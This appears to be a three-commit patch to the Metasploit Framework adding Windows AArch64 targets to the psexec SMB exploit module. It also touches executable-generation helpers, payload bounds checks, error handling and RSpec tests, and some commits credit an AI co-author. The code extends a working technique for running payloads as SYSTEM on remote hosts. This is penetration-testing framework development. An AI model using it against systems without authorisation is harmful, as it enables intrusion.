From b450505886e5cc7a61d884b93c3c052a00da38e6 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 10 Aug 2026 16:29:21 -0500 Subject: [PATCH 1/3] Add AArch64 Windows target support to exploit/windows/smb/psexec The AArch64 Windows PE loader template (to_winaarch64pe) and the windows/aarch64/exec payload already existed, but nothing actually wired ARCH_AARCH64 into the executable-generation paths psexec (and msfvenom/RPC) depend on: - lib/msf/util/exe.rb: to_executable_fmt had no ARCH_AARCH64 case for exe/exe-service/exe-small/exe-only/msi/msi-nouac, so requesting any of those formats for AArch64 silently produced no output. - lib/msf/core/exploit/exe.rb: generate_payload_exe_service (what psexec's native_upload calls) hard-coded an X64-or-X86 choice, so an AArch64 payload would have been embedded in a broken x86 PE. - lib/msf/util/exe/windows/aarch64.rb: to_winaarch64pe had no bounds check on the template's fixed 8192-byte payload buffer, unlike the analogous to_win32pe_old. Also add ARCH_AARCH64 to psexec's Automatic/Native upload/MOF upload targets, and make Automatic skip the PowerShell-delivery branch for AArch64 payloads (the rex-powershell injection wrapper only knows how to spawn x86/x64 powershell.exe). Only one AArch64 Windows payload exists upstream so far (windows/aarch64/exec, single-stage command exec, no stager/meterpreter for ARM64 Windows yet), so this enables command execution via psexec against Windows-on-ARM targets, not a full session. Verified live against a real Windows AArch64 host: Native upload with PAYLOAD windows/aarch64/exec correctly generates and drops an ARM64 PE, registers/starts/removes it as a service, and the embedded WinExec shellcode executes as NT AUTHORITY\SYSTEM. Co-Authored-By: Claude Sonnet 5 --- lib/msf/core/exploit/exe.rb | 4 +++- lib/msf/util/exe.rb | 11 +++++++++++ lib/msf/util/exe/windows/aarch64.rb | 19 +++++++++++++++++++ modules/exploits/windows/smb/psexec.rb | 16 ++++++++++++---- 4 files changed, 45 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 17e5e65617594..f5adaa28f700e 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -98,7 +98,9 @@ def generate_payload_exe_service(opts = {}) #Ensure opts[:arch] is an array opts[:arch] = [opts[:arch]] unless opts[:arch].kind_of? Array - if opts[:arch] && opts[:arch].index(ARCH_X64) + if opts[:arch] && opts[:arch].index(ARCH_AARCH64) + exe = Msf::Util::EXE.to_winaarch64pe(framework, pl, opts) + elsif opts[:arch] && opts[:arch].index(ARCH_X64) exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) else exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 1e3f2ce930383..269a793cfdd71 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -144,6 +144,11 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) to_win32pe_service(framework, code, exeopts) when ARCH_X64 to_win64pe_service(framework, code, exeopts) + when ARCH_AARCH64 + # No dedicated AArch64 service template exists yet; the loader + # template still runs when dropped as a "service" binary (the SCM + # start request just times out, as with any non-service exe). + to_winaarch64pe(framework, code, exeopts) end when 'exe-small' case arch @@ -151,6 +156,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) to_win32pe_old(framework, code, exeopts) when ARCH_X64 to_win64pe(framework, code, exeopts) + when ARCH_AARCH64 + to_winaarch64pe(framework, code, exeopts) end when 'exe-only' case arch @@ -165,6 +172,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) exe = to_win32pe(framework, code, exeopts) when ARCH_X64 exe = to_win64pe(framework, code, exeopts) + when ARCH_AARCH64 + exe = to_winaarch64pe(framework, code, exeopts) end exeopts[:uac] = true Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) @@ -174,6 +183,8 @@ def to_executable_fmt(framework, arch, plat, code, fmt, exeopts) exe = to_win32pe(framework, code, exeopts) when ARCH_X64 exe = to_win64pe(framework, code, exeopts) + when ARCH_AARCH64 + exe = to_winaarch64pe(framework, code, exeopts) end Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) when 'elf' diff --git a/lib/msf/util/exe/windows/aarch64.rb b/lib/msf/util/exe/windows/aarch64.rb index 297222df890bc..c7240408bab96 100644 --- a/lib/msf/util/exe/windows/aarch64.rb +++ b/lib/msf/util/exe/windows/aarch64.rb @@ -8,7 +8,20 @@ def self.included(base) end module ClassMethods + # The size, in bytes, of the fixed `payload[]` buffer declared in + # data/templates/src/pe/exe/template_aarch64_windows.c (SCSIZE). Shellcode + # longer than this would overwrite adjacent bytes in the compiled template. + WINAARCH64_PAYLOAD_SPACE = 8192 + # Construct a Windows AArch64 PE executable with the given shellcode. + # + # Unlike the x86/x64 templates, there is currently no dedicated "service" + # or "dll" AArch64 template, so this loader-style template (which copies + # the payload into RWX memory and runs it in a new thread) is reused + # wherever an AArch64 PE is requested, including when a caller asked for + # an exe-service. That is safe for psexec-style delivery: Windows still + # spawns the process when the SCM start request times out because the + # binary doesn't speak the service control protocol. # to_winaarch64pe # # @param framework [Msf::Framework] The Metasploit framework instance. @@ -26,6 +39,12 @@ def to_winaarch64pe(framework, code, opts = {}) # Find the tag and inject the payload bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag') + + if code.length > WINAARCH64_PAYLOAD_SPACE + raise RuntimeError, "The Windows AArch64 EXE generator has a max size of " \ + "#{WINAARCH64_PAYLOAD_SPACE} bytes, please fix the calling module" + end + pe[bo, code.length] = code.dup pe end diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index fa1f5aeff76d0..20a810452ded4 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -66,13 +66,16 @@ def initialize(info = {}) }, 'Platform' => 'win', 'Targets' => [ - [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ], + # PowerShell isn't offered for AArch64: the PowerShell shellcode-injection + # wrapper (rex-powershell) only knows how to spawn x86/x64 powershell.exe, + # so it can't be used to run AArch64 shellcode. + [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ], [ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ], [ 'Native upload', { # upload a service executable - 'Arch' => [ARCH_X86, ARCH_X64], + 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64], 'Payload' => { 'Space' => 2 ** 30 } # service executables place the payload within a segment, 1GiB is a practical max in many cases } ], - [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ], + [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ], [ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ] ], 'DefaultTarget' => 0, @@ -145,7 +148,12 @@ def exploit case target.name when 'Automatic' - if powershell_installed?(smbshare, datastore['PSH_PATH']) + # The PowerShell delivery path can only launch x86/x64 powershell.exe, so + # an AArch64 payload has to go straight to the native upload technique. + if payload_instance.arch.include?(ARCH_AARCH64) + print_status('Selecting native target') + native_upload_with_workaround(smbshare) + elsif powershell_installed?(smbshare, datastore['PSH_PATH']) print_status('Selecting PowerShell target') execute_powershell_payload else From 35415c2c9228d618272b26406a16ef2e68e88d31 Mon Sep 17 00:00:00 2001 From: vinicius-batistella Date: Mon, 17 Aug 2026 13:26:35 -0300 Subject: [PATCH 2/3] Add RSpec coverage for Msf::Util::EXE.to_winaarch64pe The AArch64 Windows PE generator was added in this branch without a matching spec, unlike its x86/x64 counterparts in spec/lib/msf/util/exe/windows/common_spec.rb. Cover the two behaviours that matter for callers that now route AArch64 payloads through it (psexec, msfvenom, RPC): - a small payload is written at the "PAYLOAD:" tag offset in the template, the returned bytes are still an MZ/PE the same size as the template, and the surrounding template bytes are untouched; - a payload larger than WINAARCH64_PAYLOAD_SPACE raises the documented RuntimeError instead of silently overflowing the fixed-size buffer. The oversize test computes its input from Msf::Util::EXE::Windows::Aarch64::ClassMethods::WINAARCH64_PAYLOAD_SPACE so widening the template buffer will surface the change here. Co-authored-by: Cursor --- spec/lib/msf/util/exe/windows/aarch64_spec.rb | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 spec/lib/msf/util/exe/windows/aarch64_spec.rb diff --git a/spec/lib/msf/util/exe/windows/aarch64_spec.rb b/spec/lib/msf/util/exe/windows/aarch64_spec.rb new file mode 100644 index 0000000000000..775eb0f6dd2a5 --- /dev/null +++ b/spec/lib/msf/util/exe/windows/aarch64_spec.rb @@ -0,0 +1,51 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +require 'spec_helper' + +RSpec.describe Msf::Util::EXE::Windows::Aarch64 do + let(:template) do + File.expand_path('../../../../../../data/templates/template_aarch64_windows.exe', __dir__) + end + + # The generator only tolerates payloads up to WINAARCH64_PAYLOAD_SPACE + # (currently 8192) bytes because that is the size of the fixed payload[] + # buffer compiled into template_aarch64_windows.exe. The oversize test uses + # 8193 bytes so any change to WINAARCH64_PAYLOAD_SPACE that widens the + # buffer will surface here. + let(:max_payload_space) { Msf::Util::EXE::Windows::Aarch64::ClassMethods::WINAARCH64_PAYLOAD_SPACE } + + describe '.to_winaarch64pe' do + let(:payload) { 'A'.b * 32 } + + let(:generated_exe) do + Msf::Util::EXE.to_winaarch64pe(nil, payload, template: template) + end + + let(:template_bytes) { File.binread(template) } + let(:payload_offset) { template_bytes.index('PAYLOAD:') } + + it 'returns a Windows PE the same size as the template' do + expect(generated_exe.bytesize).to eq(template_bytes.bytesize) + expect(generated_exe.byteslice(0, 2)).to eq('MZ') + end + + it 'injects the shellcode at the PAYLOAD: tag offset' do + expect(payload_offset).not_to be_nil + expect(generated_exe.byteslice(payload_offset, payload.bytesize)).to eq(payload) + end + + it 'leaves bytes before and after the payload buffer unchanged' do + expect(generated_exe.byteslice(0, payload_offset)).to eq(template_bytes.byteslice(0, payload_offset)) + + tail_offset = payload_offset + max_payload_space + expect(generated_exe.byteslice(tail_offset..)).to eq(template_bytes.byteslice(tail_offset..)) + end + + it 'raises when the payload exceeds the template payload buffer' do + oversized = 'B'.b * (max_payload_space + 1) + expect { Msf::Util::EXE.to_winaarch64pe(nil, oversized, template: template) } + .to raise_error(RuntimeError, /max size of #{max_payload_space} bytes/) + end + end +end From cf6224610d2aefda494a7d226b4938d77f4f866a Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 17 Aug 2026 18:01:09 -0500 Subject: [PATCH 3/3] Fix review finding: fail cleanly on oversized Native upload payload native_upload_with_workaround now rescues the RuntimeError raised when a payload exceeds an architecture's generator size (e.g. an AArch64 payload larger than 8192 bytes via the 'Native upload' target, which advertises a 1GiB Payload Space) and turns it into a normal fail_with instead of an unhandled exception. Also attempted to pad to_winaarch64pe's injected shellcode out to the full 8192-byte template buffer (matching to_win32pe_old's pattern), but reverted that: it broke a verified-working 'Native upload' run (ERROR_BAD_EXE_FORMAT/193) against a live AArch64 Windows target, so the template's reserved payload region is evidently not safely fillable to its full nominal size. Left as-is pending further investigation. Co-Authored-By: Claude Sonnet 5 --- modules/exploits/windows/smb/psexec.rb | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 20a810452ded4..329797828f0dd 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -73,7 +73,11 @@ def initialize(info = {}) [ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ], [ 'Native upload', { # upload a service executable 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64], - 'Payload' => { 'Space' => 2 ** 30 } # service executables place the payload within a segment, 1GiB is a practical max in many cases + # service executables place the payload within a segment, 1GiB is a practical max in many cases. + # AArch64 is a notable exception: it has no dedicated service template yet, so it reuses the + # loader template's fixed 8192-byte buffer (see Msf::Util::EXE::Windows::Aarch64::WINAARCH64_PAYLOAD_SPACE). + # native_upload_with_workaround rescues the resulting RuntimeError if an AArch64 payload is too big. + 'Payload' => { 'Space' => 2 ** 30 } } ], [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64] } ], [ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ] @@ -116,6 +120,13 @@ def native_upload_with_workaround(smbshare) smb_login end native_upload(smbshare, service_filename, service_encoder) + rescue RuntimeError => e + # generate_payload_exe_service can raise a plain RuntimeError when the + # encoded payload doesn't fit the target architecture's generator (e.g. + # AArch64's loader template is capped at 8192 bytes, well under the + # 1GiB this target advertises for 'Native upload'). Surface that as a + # normal exploit failure instead of an unhandled exception. + fail_with(Msf::Exploit::Failure::PayloadFailed, "#{peer} - Failed to generate the service executable: #{e.message}") end def validate_service_stub_encoder!